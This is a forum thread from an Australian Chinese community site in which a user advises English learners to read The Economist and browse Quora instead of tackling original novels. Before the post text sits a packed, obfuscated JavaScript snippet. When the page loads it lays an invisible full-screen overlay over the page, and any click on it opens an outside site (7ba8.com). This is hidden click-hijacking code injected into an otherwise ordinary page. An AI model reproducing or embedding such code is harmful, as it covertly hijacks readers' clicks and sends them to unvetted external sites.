滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 学英文不一定非要读原著！ [打印本页]

作者: elaine81 时间: 2014-1-27 16:17
标题: 学英文不一定非要读原著！
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>问题的起因是这个帖子《想读英文原版小说，大家给推荐本吧》，想必很多人也发过或见过类似的帖子，也有很多人发帖推荐一些原著。但是，我有些不同的意见。
我可以理解的你们的心理，你们想借助于读原著而提升自己的英文水平。但是，你们低估了读原著的难度，甚至一些你感兴趣的小说，你真正去读它的原著时也会时常感觉艰涩，甚至于读不下去，你为美剧《冰与火之歌》着迷，并不意味着你能读下去《A Song of Ice and Fire》！我的意见是去读一些短一点的文章，《经济学人》就是很好的读物，各个话题都有，一篇文章就是一个完整的话题，读完一个专题就会很有成就感。每周一刊，时效性也很强，还可以用来了解世界。你已经提到，你现在已经工作，我想时间问题你也必须纳入考虑范围，《经济学人》的优势又出来了，上个厕所都可以读一篇！拿一本《经济学人》需要的勇气远远少于一个大部头吧！但是，《经济学人》还不是位于我推荐表第一，第一是quora！
兴趣很重要，在面对一个艰涩的问题时，抱有兴趣的人更可能克服问题。我不相信一个人任何兴趣都没有，对任何的事情都没有好奇心。只要你对一个事情感兴趣，那么你就能在quora上找到相应的话题！quora目前还不支持中文，所有的提问及回答都是英文，大部分的回答都不太长，我初入quora时，感觉自己仿佛进入了一个新大陆，一个又一个我感兴趣的话题，我甚至为此熬了夜（我最痛恨熬夜）！欧洲人刚进入北美时想必也有很严重的语言问题，但对于新大陆的兴奋让他们不停的去探索这个美丽新世界！所以，去quora找自己感兴趣的话题吧，那时你甚至会忽略英语的艰涩，而被问题所迷住！不知不觉中，你就读了十几篇的英文。
最后澄清一点，我并不是说读原著不好，只是觉着对于初学者来说，原著并不是最好的选择！
欢迎各位就这个话题进行讨论！

欢迎光临滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (https://nearther.cn/)